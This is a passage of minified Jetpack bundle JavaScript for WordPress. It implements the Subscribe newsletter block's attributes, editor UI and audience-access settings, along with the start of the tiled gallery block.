email…","jetpack")},showSubscribersTotal:{type:"boolean",default:!1},buttonOnNewLine:{type:"boolean",default:!1},buttonWidth:{type:"string"},submitButtonText:{type:"string",default:__("Subscribe","jetpack")},emailFieldBackgroundColor:{type:"string"},customEmailFieldBackgroundColor:{type:"string"},emailFieldGradient:{type:"string"},customEmailFieldGradient:{type:"string"},buttonBackgroundColor:{type:"string"},customButtonBackgroundColor:{type:"string"},buttonGradient:{type:"string"},customButtonGradient:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"},fontSize:{type:"string"},customFontSize:{type:"string"},borderRadius:{type:"number"},borderWeight:{type:"number"},borderColor:{type:"string"},customBorderColor:{type:"string"},padding:{type:"number"},spacing:{type:"number"},successMessage:{type:"string",default:__("Success! An email was just sent to confirm your subscription. Please find the email now and click 'Confirm Follow' to start subscribing.","jetpack")}}},68600:function(e,t,n){"use strict";var r=n(11109),a=n(28135);t.Z={attributes:r.Z,save:a.ZP}},28135:function(e,t,n){"use strict";n.d(t,{ZP:function(){return g}});var r=n(51806),a=n(52175),o=n(69307),i=n(65235),s=n.n(i),l=n(92819),c=n(11109);const u=0,d=1,p=15,m=10,h="16px",f=e=>e.replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#039;").replace(/\[/g,"&#091;").replace(/\]/g,"&#093;").replace(/\u00a0/g,"&nbsp;").replace(/\u200b/g,"&#x200b;");function g(e){let{className:t,attributes:n}=e;const{subscribePlaceholder:i,showSubscribersTotal:g,buttonOnNewLine:b,submitButtonText:v,emailFieldBackgroundColor:k,customEmailFieldBackgroundColor:y,emailFieldGradient:E,customEmailFieldGradient:w,buttonBackgroundColor:_,customButtonBackgroundColor:C,buttonGradient:S,customButtonGradient:j,textColor:x,customTextColor:P,fontSize:L,customFontSize:T,borderRadius:N,borderWeight:A,borderColor:R,customBorderColor:I,padding:M,spacing:B,buttonWidth:Z,successMessage:F}=n,D=!!a.__experimentalGetGradientClass,O=(0,a.getColorClassName)("color",x),z=(0,a.getFontSizeClass)(L),U=(0,a.getColorClassName)("border-color",R),$=(0,a.getColorClassName)("background-color",_),H=D?(0,a.__experimentalGetGradientClass)(S):void 0,V=(0,a.getColorClassName)("background-color",k),G=D?(0,a.__experimentalGetGradientClass)(E):void 0,q=s()(0===N?"no-border-radius":void 0,z,U),W=s()(q,x?"has-text-color":void 0,O,_||S?"has-background":void 0,$,H),X=s()(q,V,G),K=!V&&w?w:y,J=!$&&j?j:C,Y=Z||void 0,Q={subscribe_placeholder:i!==c.Z.subscribePlaceholder.default?i:void 0,show_subscribers_total:g,button_on_newline:b,submit_button_text:v!==c.Z.submitButtonText.default?v:void 0,custom_background_emailfield_color:K,custom_background_button_color:J,custom_text_button_color:P,custom_font_size:T||h,custom_border_radius:N||u,custom_border_weight:A||d,custom_border_color:I,custom_button_width:Y,custom_padding:M||p,custom_spacing:B||m,submit_button_classes:W,email_field_classes:X,show_only_email_and_button:!0,success_message:F},ee=(0,l.reduce)(Q,((e,t,n)=>void 0===t?e:e+` ${n}="${f(t.toString())}"`),"");return(0,r.createElement)("div",{className:s()(t,"wp-block-jetpack-subscriptions__supports-newline",b?"wp-block-jetpack-subscriptions__use-newline":void 0,g?"wp-block-jetpack-subscriptions__show-subs":void 0)},(0,r.createElement)(o.RawHTML,null,`[jetpack_subscription_form${ee}]`))}},84744:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={subscribePlaceholder:{type:"string",default:__("Type your email…","jetpack")},showSubscribersTotal:{type:"boolean",default:!1},buttonOnNewLine:{type:"boolean",default:!1},buttonWidth:{type:"string"},submitButtonText:{type:"string",default:__("Subscribe","jetpack")},emailFieldBackgroundColor:{type:"string"},customEmailFieldBackgroundColor:{type:"string"},emailFieldGradient:{type:"string"},customEmailFieldGradient:{type:"string"},buttonBackgroundColor:{type:"string"},customButtonBackgroundColor:{type:"string"},buttonGradient:{type:"string"},customButtonGradient:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"},fontSize:{type:"string"},customFontSize:{type:"string"},borderRadius:{type:"number"},borderWeight:{type:"number"},borderColor:{type:"string"},customBorderColor:{type:"string"},padding:{type:"number"},spacing:{type:"number"},successMessage:{type:"string",default:__("Success! An email was just sent to confirm your subscription. Please find the email now and click 'Confirm Follow' to start subscribing.","jetpack")}}},39583:function(e,t,n){"use strict";var r=n(84744),a=n(24366);t.Z={attributes:r.Z,migrate:e=>({includeSocialFollowers:!0,...e}),save:a.Z}},24366:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(65235),o=n.n(a);function i(e){let{className:t,attributes:n}=e;const{showSubscribersTotal:a,buttonOnNewLine:i}=n;return(0,r.createElement)("div",{className:o()(t,"wp-block-jetpack-subscriptions__supports-newline",i?"wp-block-jetpack-subscriptions__use-newline":void 0,a?"wp-block-jetpack-subscriptions__show-subs":void 0)})}},99343:function(e,t,n){"use strict";var r=n(51806),a=n(88275),o=n(13419),i=n(52175),s=n(55609),l=n(94333),c=n(9818),u=n(69307),d=n(65736),p=n(65235),m=n.n(p),h=n(92819),f=n(4554),g=n(95494),b=n(62924),v=n(58841),k=n(57532),y=n(68269),E=n(22750),w=n(36557),_=n(30217);const __=d.__,_n=d._n,{getComputedStyle:C}=window,S=!!i.__experimentalUseGradient,j=(0,s.withFallbackStyles)(((e,t)=>{const{buttonBackgroundColor:n,textColor:r}=t,a=n&&n.color,o=r&&r.color,i=e.querySelector(".wp-block-jetpack-subscriptions__button");return{fallbackButtonBackgroundColor:a||!e?void 0:i&&C(i).backgroundColor,fallbackTextColor:o||!e?void 0:i&&C(i).color}}));t.Z=(0,l.compose)([(0,c.withSelect)((e=>{const t=e("jetpack/membership-products")?.getProducts()?.filter((e=>e.subscribe_as_site_subscriber));return{hasNewsletterPlans:0!==t?.length}})),(0,i.withColors)({emailFieldBackgroundColor:"backgroundColor"},{buttonBackgroundColor:"backgroundColor"},{textColor:"color"},"borderColor"),(0,i.withFontSizes)("fontSize"),j,e=>t=>(0,r.createElement)(a.ZP,null,(0,r.createElement)(e,t))])((function(e){const{className:t,attributes:n,setAttributes:a,emailFieldBackgroundColor:c,buttonBackgroundColor:p,setButtonBackgroundColor:C,fallbackButtonBackgroundColor:j,textColor:x,fallbackTextColor:P,setTextColor:L,borderColor:T,setBorderColor:N,fontSize:A,hasNewsletterPlans:R}=e,{isLoadingModules:I,isChangingStatus:M,isModuleActive:B,changeStatus:Z}=(0,o.el)(_.u2),F=(0,f.S)(b.Z,n);(0,h.isEqual)(F,n)||a(F);const{borderRadius:D,borderWeight:O,buttonWidth:z,includeSocialFollowers:U,padding:$,spacing:H,submitButtonText:V,subscribePlaceholder:G,showSubscribersTotal:q,buttonOnNewLine:W,successMessage:X}=F,[K,J]=(0,u.useState)(""),[Y,Q]=(0,u.useState)(""),ee=S?(0,i.__experimentalUseGradient)({gradientAttribute:"emailFieldGradient",customGradientAttribute:"customEmailFieldGradient"}):{},te=S?(0,i.__experimentalUseGradient)({gradientAttribute:"buttonGradient",customGradientAttribute:"customButtonGradient"}):{},ne={"no-border-radius":0===D,[A.class]:A.class,"has-text-color":x.color,[x.class]:x.class},re={...ne,"has-background":c.color||ee.gradientValue,[c.class]:!ee.gradientValue&&c.class,[ee.gradientClass]:ee.gradientClass},ae={...ne,"has-background":p.color||te.gradientValue,[p.class]:!te.gradientValue&&p.class,[te.gradientClass]:te.gradientClass},oe=e=>e||v.FP,ie={color:x.color,borderColor:T.color,borderRadius:D?D+"px":v.S9+"px",borderWidth:O?O+"px":v.XJ+"px",fontSize:A.size?A.size:v.tm,padding:(e=>{const t=e||v.HE;return t+"px "+Math.round(1.5*t)+"px "+t+"px "+Math.round(1.5*t)+"px"})($)},se={...ie,...!c.color&&ee.gradientValue?{background:ee.gradientValue}:{backgroundColor:c.color}},le={...ie,...!p.color&&te.gradientValue?{background:te.gradientValue}:{backgroundColor:p.color},...W?{marginTop:oe(H)+"px"}:{marginLeft:oe(H)+"px"},width:z};(0,u.useEffect)((()=>{B&&(0,g.P)((e=>{const t=U?e.email_subscribers+e.social_followers:e.email_subscribers;J((0,d.sprintf)(/* translators: Placeholder is a number of subscribers. */
_n("Join %s other subscriber","Join %s other subscribers",t,"jetpack"),t)),Q(t)}),(()=>{J(__("Subscriber count unavailable","jetpack")),Q(0)}))}),[U,B]);const ce=(0,l.usePrevious)(p);return(0,u.useEffect)((()=>{B&&ce?.color===T?.color&&T?.color!==p?.color&&N(p.color)}),[p,ce,T,N,B]),I?(0,r.createElement)(E.Z,null):B?(0,r.createElement)(r.Fragment,null,(0,r.createElement)(i.InspectorControls,null,(0,r.createElement)(k.Z,{buttonBackgroundColor:p,borderColor:T,buttonGradient:te,borderRadius:D,borderWeight:O,buttonOnNewLine:W,emailFieldBackgroundColor:c,fallbackButtonBackgroundColor:j,fallbackTextColor:P,fontSize:A,includeSocialFollowers:U,isGradientAvailable:S,padding:$,setAttributes:a,setBorderColor:N,setButtonBackgroundColor:C,setTextColor:L,showSubscribersTotal:q,spacing:H,subscriberCount:Y,textColor:x,buttonWidth:z,successMessage:X})),(0,w.MP)()&&(0,r.createElement)(i.BlockControls,null,(0,r.createElement)(s.Toolbar,null,(0,r.createElement)(w.ZP,{context:"toolbar",hasNewsletterPlans:R}))),(0,r.createElement)("div",{className:m()(t,"wp-block-jetpack-subscriptions__container","wp-block-jetpack-subscriptions__supports-newline",W?"wp-block-jetpack-subscriptions__use-newline":void 0,q?"wp-block-jetpack-subscriptions__show-subs":void 0)},(0,r.createElement)("div",{className:"wp-block-jetpack-subscriptions__form",role:"form"},(0,r.createElement)(s.TextControl,{placeholder:G,disabled:!0,className:m()(re,"wp-block-jetpack-subscriptions__textfield"),style:se}),(0,r.createElement)(i.RichText,{className:m()(ae,"wp-block-jetpack-subscriptions__button","wp-block-button__link"),onChange:e=>a({submitButtonText:e}),style:le,value:V,withoutInteractiveFormatting:!0,allowedFormats:["core/bold","core/italic","core/strikethrough"]})),q&&(0,r.createElement)("div",{className:"wp-block-jetpack-subscriptions__subscount"},K))):(0,r.createElement)(y.f,{changeStatus:Z,isModuleActive:B,isLoading:M})}))},57780:function(e,t,n){"use strict";var r=n(13419),a=n(31985),o=n(30217);(0,a.Z)(o.u2,o.Xd),(0,r.o_)(o.u2,o.eC)},30217:function(e,t,n){"use strict";n.d(t,{Xd:function(){return f},eC:function(){return g},qv:function(){return h},u2:function(){return m}});var r=n(51806),a=n(4981),o=n(55609),i=n(69307),s=n(65736),l=n(70355),c=n(62924),u=n(2916),d=n(99343),p=n(79914);const __=s.__,_x=s._x,m="subscriptions",h=(0,r.createElement)(o.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(o.Path,{d:"M20.9997 6.96749L21 7V17C21 18.1046 20.1046 19 19 19H5C3.89543 19 3 18.1046 3 17V7L3.00026 6.96747L3 6.96092C3 5.87793 3.87793 5 4.96092 5H19.0391C20.1221 5 21 5.87793 21 6.96092L20.9997 6.96749ZM19.3044 17.3967L13.9142 12.9048L13.2804 13.433C12.5387 14.0511 11.4613 14.0511 10.7196 13.433L10.0858 12.9048L4.69555 17.3967C4.77987 17.4615 4.88543 17.5 5 17.5H19C19.1146 17.5 19.2201 17.4615 19.3044 17.3967ZM19.5 15.6071V8.25L15.0858 11.9285L19.5 15.6071ZM4.5 8.25V15.6071L8.91424 11.9285L4.5 8.25ZM4.79543 6.54363C4.85788 6.51559 4.92712 6.5 5 6.5H19C19.0729 6.5 19.1421 6.51559 19.2046 6.54363L12.3201 12.2807C12.1347 12.4352 11.8653 12.4352 11.6799 12.2807L4.79543 6.54363Z",fill:(0,l.m)(),fillRule:"evenodd",clipRule:"evenodd"})),f={title:__("Subscribe","jetpack"),description:(0,r.createElement)(r.Fragment,null,(0,r.createElement)("p",null,__("Let readers subscribe to this blog's posts as a newsletter.","jetpack")),(0,r.createElement)("p",null,(0,i.createInterpolateElement)(__("Subscribers can read the posts in their email inbox or <ExternalLink>the Reader app</ExternalLink>.","jetpack"),{ExternalLink:(0,r.createElement)(o.ExternalLink,{href:"https://wordpress.com/read"})}))),icon:{src:h,foreground:(0,l.m)()},category:"grow",keywords:[_x("newsletter","block search term","jetpack"),_x("email","block search term","jetpack"),_x("follow","block search term","jetpack")],attributes:c.Z,edit:d.Z,styles:[{name:"compact",label:__("Compact","jetpack")},{name:"split",label:__("Split","jetpack"),isDefault:!0}],transforms:{from:[{type:"block",isMultiBlock:!1,blocks:["core/legacy-widget"],isMatch:e=>{let{idBase:t,instance:n}=e;return!!n?.raw&&"blog_subscription"===t},transform:e=>{let{instance:t}=e;return(0,a.createBlock)("jetpack/subscriptions",{showSubscribersTotal:t.raw.show_subscribers_total,submitButtonText:t.raw.subscribe_button,subscribePlaceholder:t.raw.subscribe_placeholder,successMessage:t.raw.success_message})}}]},example:{attributes:{}},supports:{spacing:{margin:!0,padding:!0},align:["wide","full"]},deprecated:u.Z},g={render:p.Z}},86957:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(94333),i=n(9818),s=n(65736),l=n(36557);const __=s.__,_x=s._x;t.Z=(0,o.compose)([(0,i.withSelect)((e=>{const t=e("jetpack/membership-products")?.getProducts()?.filter((e=>e.subscribe_as_site_subscriber));return{hasNewsletterPlans:0!==t?.length}}))])((function(e){let{hasNewsletterPlans:t}=e;const n=__("Newsletter","jetpack"),o=t?_x("Manage paid plan for readers to access your content.","unused context to distinguish translations","jetpack"):__("Set up paid plan for readers to access your content.","jetpack");return(0,r.createElement)(a.PanelBody,{title:n,initialOpen:!0},(0,r.createElement)(a.PanelRow,null,o),(0,r.createElement)(a.PanelRow,null,(0,r.createElement)(l.ZP,{hasNewsletterPlans:t})))}))},79914:function(e,t,n){"use strict";n.d(t,{Z:function(){return w}});var r=n(51806),a=n(78868),o=n(52947),i=n(13419),s=n(55609),l=n(37798),c=n(9818),u=n(72067),d=n(12238),p=n(69307),m=n(65736),h=n(34904),f=n(95494),g=n(58841),b=n(84177),v=n(36557),k=n(30217);const __=m.__,_n=m._n,y=e=>{let{children:t}=e;return(0,r.createElement)(s.Flex,{align:"center",gap:4,direction:"column",style:{alignItems:"center"}},(0,r.createElement)(s.FlexItem,null,__("In order to share your posts with your subscribers, you'll need to activate the Subscriptions feature.","jetpack")),(0,r.createElement)(s.FlexItem,null,t),(0,r.createElement)(s.FlexItem,null,(0,r.createElement)(s.ExternalLink,{href:"https://jetpack.com/support/subscriptions/"},__("Learn more about the Subscriptions feature.","jetpack"))))};function E(e){let{setPostMeta:t,accessLevel:n,socialFollowers:a,emailSubscribers:o,paidSubscribers:i}=e;return(0,v.cJ)()?(0,r.createElement)(u.PluginDocumentSettingPanel,{title:__("Newsletter","jetpack")},(0,r.createElement)(b.Hx,{setPostMeta:t,accessLevel:n,socialFollowers:a,emailSubscribers:o,paidSubscribers:i})):null}function w(){var e;const[t,n]=(0,p.useState)(null),[w,_]=(0,p.useState)(null),[C,S]=(0,p.useState)(null),{tracks:j}=(0,i.z$)(),{isModuleActive:x,changeStatus:P,isLoadingModules:L,isChangingStatus:T}=(0,i.el)(k.u2),N=(0,c.useSelect)((e=>e(d.store).getCurrentPostType()),[]),[A=[],R]=(0,l.useEntityProp)("postType",N,"meta"),I=null!==(e=A[g.lx])&&void 0!==e?e:Object.keys(b.So)[0];(0,p.useEffect)((()=>{x&&(0,f.P)((e=>{n(e.email_subscribers),S(e.social_followers),_(e.paid_subscribers)}))}),[x]);const M="public"!==(0,c.useSelect)((e=>e("core/editor").getEditedPostVisibility()))&&I!==b.So.everybody.string,B=(0,c.useSelect)((e=>e(d.store).getEditedPostAttribute("meta")?.jetpack_post_was_ever_published),[]);if((0,i.M6)()||(0,i.aQ)())return null;if("post"!==N)return null;const Z=I===b.So.paid_subscribers.string?w:t,F=I===b.So.everybody.string?C:0;if(B)return(0,r.createElement)(E,{setPostMeta:R,accessLevel:I,socialFollowers:C,emailSubscribers:t,paidSubscribers:w});if((!Number.isFinite(t)||t<=0)&&(!Number.isFinite(w)||w<=0)&&(!Number.isFinite(C)||C<=0)&&x)return null;const D=Number.isFinite(Z)&&Z>0&&x;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(E,{setPostMeta:R,accessLevel:I,socialFollowers:C,emailSubscribers:t,paidSubscribers:w}),(0,r.createElement)(u.PluginPrePublishPanel,{className:"jetpack-subscribe-pre-publish-panel",initialOpen:!0,title:(0,r.createElement)(r.Fragment,null,__("Newsletter:","jetpack"),I&&(0,r.createElement)("span",{className:"editor-post-publish-panel__link"},b.So[I].label)),icon:(0,r.createElement)(a.Z,{showText:!1,height:16,logoColor:"#1E1E1E"})},(0,v.cJ)()&&M&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)(b.$P,{accessLevel:I}),(0,r.createElement)("br",null)),!M&&D&&(0,r.createElement)(h.Z,null,(0,p.createInterpolateElement)(0!==F?(0,m.sprintf)(/* translators: 1$s will be subscribers, %2$s will be social followers */
__("This post will reach <span>%1$s</span> and <span>%2$s</span>.","jetpack"),(0,m.sprintf)(/* translators: %s will be a number of subscribers */
_n("%s subscriber","%s subscribers",Z,"jetpack"),(0,o.Z)(Z)),(0,m.sprintf)(/* translators: %s will be a number of social followers */
_n("%s social follower","%s social followers",F,"jetpack"),(0,o.Z)(F))):(0,m.sprintf)(/* translators: 1$s will be subscribers */
__("This post will reach <span>%1$s</span>.","jetpack"),(0,m.sprintf)(/* translators: %s will be a number of subscribers */
_n("%s subscriber","%s subscribers",Z,"jetpack"),(0,o.Z)(Z))),{span:(0,r.createElement)("span",{className:"jetpack-subscribe-reader-count"})})),(0,v.cJ)()&&(0,r.createElement)(b.Hx,{setPostMeta:R,accessLevel:I,withModal:!1,socialFollowers:C,emailSubscribers:t,paidSubscribers:w}),!x&&!L&&(0,r.createElement)(y,null,(0,r.createElement)(s.Button,{disabled:x||T,isBusy:T,onClick:()=>(j.recordEvent("jetpack_editor_subscriptions_enable"),P(!0)),variant:"secondary"},T?__("Activating Subscriptions","jetpack"):__("Activate Subscriptions","jetpack",0)))),(0,r.createElement)(u.PluginPostPublishPanel,{className:"jetpack-subscribe-post-publish-panel",initialOpen:!0},D&&(0,r.createElement)(h.Z,null,(0,p.createInterpolateElement)(0!==C?(0,m.sprintf)(/* translators: 1$s will be subscribers, %2$s will be social followers */
__("This post was shared to <span>%1$s</span> and <span>%2$s</span>.","jetpack"),(0,m.sprintf)(/* translators: %s will be a number of subscribers */
_n("%s subscriber","%s subscribers",Z,"jetpack"),(0,o.Z)(Z)),(0,m.sprintf)(/* translators: %s will be a number of social followers */
_n("%s social follower","%s social followers",F,"jetpack"),(0,o.Z)(F))):(0,m.sprintf)(/* translators: 1$s will be subscribers */
__("This post was shared to <span>%1$s</span>.","jetpack"),(0,m.sprintf)(/* translators: %s will be a number of subscribers */
_n("%s subscriber","%s subscribers",Z,"jetpack"),(0,o.Z)(Z))),{span:(0,r.createElement)("span",{className:"jetpack-subscribe-reader-count"})}))))}},84177:function(e,t,n){"use strict";n.d(t,{$P:function(){return f},Hx:function(){return b},So:function(){return h}});var r=n(51806),a=n(6895),o=n(52175),i=n(55609),s=n(94333),l=n(9818),c=n(12238),u=n(69307),d=n(65736),p=n(34904),m=n(58841);const __=d.__,h={everybody:{string:"everybody",label:__("Everybody","jetpack"),info:__("Visible to everyone.","jetpack")},subscribers:{string:"subscribers",label:__("All subscribers","jetpack"),info:__("Visible to everyone that subscribes to your site.","jetpack")},paid_subscribers:{string:"paid_subscribers",label:__("Paid subscribers","jetpack"),info:__("Visible to everyone that purchases a paid plan on your site.","jetpack")}};function f(e){let{accessLevel:t}=e;return(0,r.createElement)("div",{className:"jetpack-subscribe-notice-misconfiguration warning"},(0,d.sprintf)(/* translators: %1$s: visibility label for the newsletter, %2$s: label for setting "everybody". this is a warning in the newsletter when posts have a private or password-protected visibility */
__('Private or password-protected posts cannot be assigned a newsletter setting of "%1$s". Please update the setting to "%2$s", or update the post visibility setting.',"jetpack"),h[t].label,h.everybody.label))}function g(e){let{accessLevel:t,onChange:n,socialFollowers:a,emailSubscribers:o,paidSubscribers:l}=e;const c=(0,s.useInstanceId)(g);return(0,r.createElement)("fieldset",{className:"editor-post-visibility__fieldset"},(0,r.createElement)(i.VisuallyHidden,{as:"legend"},__("Audience","jetpack")," "),Object.keys(h).map((e=>(0,r.createElement)("div",{className:"editor-post-visibility__choice",key:e},(0,r.createElement)("input",{type:"radio",checked:e===t,name:`editor-post-visibility__setting-${c}`,value:e,id:`editor-post-${e}-${c}`,"aria-describedby":`editor-post-${e}-${c}-description`,className:"editor-post-visibility__radio",onChange:e=>{const t={};return t[m.lx]=e?.target?.value,n&&n(t)}}),(0,r.createElement)("label",{htmlFor:`editor-post-${e}-${c}`,className:"editor-post-visibility__label"},h[e].label," ",function(e,t,n,r){if(null===t||null===n||null===r)return"";switch(h[e]){case h.everybody:return"("+(t+r)+"+)";case h.subscribers:return"("+t+")";case h.paid_subscribers:return"("+n+")"}}(e,o,l,a)),(0,r.createElement)("p",{id:`editor-post-${e}-${c}-description`,className:"editor-post-visibility__info"},h[e].info)))))}function b(e){let{accessLevel:t,setPostMeta:n,socialFollowers:s,emailSubscribers:m,paidSubscribers:b,withModal:v=!0}=e;t&&Object.keys(h).includes(t)||(t=Object.keys(h)[0]);const k=h[t]?.label,y="public"===(0,l.useSelect)((e=>e("core/editor").getEditedPostVisibility())),E=!y&&t===h.everybody.string,w=!y&&t!==h.everybody.string;return(0,r.createElement)(c.PostVisibilityCheck,{render:e=>{let{canEdit:l}=e;return(0,r.createElement)(i.PanelRow,{className:"edit-post-post-visibility"},(0,r.createElement)(i.Flex,{direction:"column"},l&&v&&E&&(0,r.createElement)(i.FlexBlock,null,(0,r.createElement)(p.Z,{spanClass:"jetpack-subscribe-notice-visibility"},/* translators: this is a warning in the newsletter when posts have a private or password-protected visibility */
__("Private or password-protected posts cannot be assigned as Subscribers-only.","jetpack"))),l&&v&&w&&(0,r.createElement)(i.FlexBlock,null,(0,r.createElement)(f,{accessLevel:t})),(0,r.createElement)(i.Flex,{direction:v?"row":"column"},(0,r.createElement)(i.FlexBlock,null,(0,r.createElement)("span",null,__("Access","jetpack"))),(!l||E)&&(0,r.createElement)("span",null,k),!E&&v&&l&&(0,r.createElement)(i.FlexBlock,null,(0,r.createElement)(i.Dropdown,{placement:"bottom-end",contentClassName:"edit-post-post-visibility__dialog",focusOnMount:!0,renderToggle:e=>{let{isOpen:t,onToggle:n}=e;return(0,r.createElement)(i.Button,{variant:"tertiary",onClick:n,"aria-expanded":t,"aria-label":(0,d.sprintf)(
// translators: %s: Current newsletter post access.
__("Select audience: %s","jetpack"),k)},k)},renderContent:e=>{let{onClose:a}=e;return(0,r.createElement)("div",{className:"editor-post-visibility"},(0,r.createElement)(o.__experimentalInspectorPopoverHeader,{title:__("Audience","jetpack"),help:__("Control how this newsletter is viewed.","jetpack"),onClose:a}),(0,r.createElement)(g,{accessLevel:t,socialFollowers:s,emailSubscribers:m,paidSubscribers:b,onChange:n}))}})),!E&&!v&&l&&(0,r.createElement)(i.FlexBlock,null,(0,r.createElement)(g,{accessLevel:t,socialFollowers:s,emailSubscribers:m,paidSubscribers:b,onChange:n}))),v&&(0,r.createElement)(i.FlexBlock,null,(0,r.createElement)("small",{spanClass:"jetpack-subscribe-info"},(0,u.createInterpolateElement)(/* translators: basic information about the newsletter visibility */
__("Restrict your post to subscribers. <a>Learn more</a>.","jetpack"),{a:(0,r.createElement)("a",{href:(0,a.Z)("paid-newsletter-info",{anchor:"memberships-and-subscriptions"}),rel:"noopener noreferrer",target:"_blank"})})))))}})}},68269:function(e,t,n){"use strict";n.d(t,{f:function(){return c}});var r=n(51806),a=n(13419),o=n(55609),i=n(69307),s=n(65736),l=n(30217);const __=s.__,c=e=>{let{changeStatus:t,isLoading:n,isModuleActive:s}=e;const{tracks:c}=(0,a.z$)();return(0,i.useEffect)((()=>{c.recordEvent("jetpack_editor_subscriptions_placeholder_view")}),[c]),(0,r.createElement)(o.Placeholder,{icon:l.qv,instructions:__("You'll need to activate the Subscriptions feature to use the Subcribe block.","jetpack"),label:l.Xd.title},(0,r.createElement)(o.Button,{disabled:s||n,isBusy:n,onClick:()=>(c.recordEvent("jetpack_editor_subscriptions_enable"),t(!0)),variant:"secondary"},n?__("Activating Subscriptions","jetpack"):__("Activate Subscriptions","jetpack",0)),(0,r.createElement)("div",{className:"membership-button__disclaimer"},(0,r.createElement)(o.ExternalLink,{href:"https://jetpack.com/support/subscriptions/"},__("Learn more about the Subscriptions feature.","jetpack"))))}},22750:function(e,t,n){"use strict";var r=n(51806),a=n(22636),o=n(55609);t.Z=function(){return(0,r.createElement)(o.Placeholder,null,(0,r.createElement)(o.Flex,{gap:2,direction:"column",style:{width:"100%"}},(0,r.createElement)(o.Flex,{gap:4},(0,r.createElement)(o.FlexItem,null,(0,r.createElement)(a.Z,{width:30,height:30})),(0,r.createElement)(o.FlexBlock,null,(0,r.createElement)(a.Z,{width:"90%",height:30}))),(0,r.createElement)(o.Flex,{style:{marginTop:12}},(0,r.createElement)(o.FlexBlock,null,(0,r.createElement)(a.Z,{height:30,width:"60%"}))),(0,r.createElement)(o.Flex,{style:{marginTop:12}},(0,r.createElement)(o.FlexBlock,null,(0,r.createElement)(a.Z,{width:150,height:50}))),(0,r.createElement)(o.Flex,{style:{marginTop:18}},(0,r.createElement)(o.FlexBlock,null,(0,r.createElement)(a.Z,{width:"90%",height:16})))))}},36557:function(e,t,n){"use strict";n.d(t,{MP:function(){return l},ZP:function(){return u},cJ:function(){return c}});var r=n(51806),a=n(13419),o=n(55609),i=n(65736);const _x=i._x,__=i.__,s=e=>{const t="https://wordpress.com/earn/payments-plans/"+location.hostname;return e?t:t+"#add-newsletter-payment-plan"},l=()=>{var e;return null!==(e=(0,a.Pb)()?.jetpack?.is_newsletter_feature_enabled)&&void 0!==e&&e},c=()=>{var e;return null!==(e=(0,a.Pb)()?.jetpack?.is_newsletter_configured)&&void 0!==e&&e};function u(e){let{context:t="other",hasNewsletterPlans:n}=e;const a=n?_x("Manage plans","unused context to distinguish translations","jetpack"):__("Add Payments","jetpack");return"toolbar"===t?(0,r.createElement)(o.ToolbarButton,{href:s(n),target:"_blank"},a):(0,r.createElement)(o.Button,{variant:"primary",href:s(n),target:"_blank"},a)}},3740:function(e,t,n){"use strict";n.d(t,{EU:function(){return u},GP:function(){return s},P0:function(){return p},RA:function(){return r},Z5:function(){return i},hI:function(){return o},q3:function(){return a},sw:function(){return c},xJ:function(){return l},yw:function(){return d}});const r=["image"],a=4,o=20,i=20,s=2e3,l="circle",c="columns",u="rectangular",d="square",p=[{isDefault:!0,name:u},{name:l},{name:d},{name:c}]},73463:function(e,t,n){"use strict";var r=n(76476),a=n(43125),o=n(67525),i=n(99504);t.Z=[i,o,a,r]},1377:function(e,t,n){"use strict";n.d(t,{EU:function(){return i},GP:function(){return o},P0:function(){return s},hI:function(){return a},q3:function(){return r}});const r=4,a=20,o=2e3,i="rectangular",s=[{isDefault:!0,name:i},{name:"circle"},{name:"square"},{name:"columns"}]},56005:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(11313);function o(e){const{"aria-label":t,alt:n,height:o,id:i,link:s,linkTo:l,origUrl:c,url:u,width:d}=e;if((0,a.isBlobURL)(c))return null;let p;switch(l){case"media":p=u;break;case"attachment":p=s}const m=(0,r.createElement)("img",{alt:n,"aria-label":t,"data-height":o,"data-id":i,"data-link":s,"data-url":c,"data-width":d,src:u});return(0,r.createElement)("figure",{className:"tiled-gallery__item"},p?(0,r.createElement)("a",{href:p},m):m)}},76476:function(e,t,n){"use strict";n.r(t),n.d(t,{attributes:function(){return a},save:function(){return r.Z},support:function(){return o}});var r=n(91507);const a={align:{default:"center",type:"string"},className:{default:`is-style-${n(1377).EU}`,type:"string"},columns:{type:"number"},ids:{default:[],type:"array"},images:{type:"array",default:[],source:"query",selector:".tiled-gallery__item",query:{alt:{attribute:"alt",default:"",selector:"img",source:"attribute"},caption:{selector:"figcaption",source:"html",type:"string"},height:{attribute:"data-height",selector:"img",source:"attribute",type:"number"},id:{attribute:"data-id",selector:"img",source:"attribute"},link:{attribute:"data-link",selector:"img",source:"attribute"},url:{attribute:"data-url",selector:"img",source:"attribute"},width:{attribute:"data-width",selector:"img",source:"attribute",type:"number"}}},linkTo:{default:"none",type:"string"}},o={align:["center","wide","full"],customClassName:!1,html:!1}},52235:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t}=e;return(0,r.createElement)("div",{className:"tiled-gallery__col"},t)}},89754:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,galleryRef:n}=e;return(0,r.createElement)("div",{className:"tiled-gallery__gallery",ref:n},t)}},15645:function(e,t,n){"use strict";n.d(t,{Z:function(){return p}});var r=n(51806),a=n(11313),o=n(69307),i=n(65736),s=n(69424),l=n(1377),c=n(56005),u=n(30791),d=n(79313);const __=i.__;class p extends o.Component{photonize(e){let{height:t,width:n,url:r}=e;if(!r)return;if((0,a.isBlobURL)(r)||/^https?:\/\/localhost/.test(r))return r;const o=r.split("?",1)[0],i=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(r)?h:s.Z,{layoutStyle:c}=this.props;if(m(c)&&n&&t){const e=Math.min(l.GP,n,t);return i(o,{resize:`${e},${e}`})}return i(o)}renderImage(e,t){const{images:n,linkTo:a,selectedImage:o}=this.props,s=(0,i.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
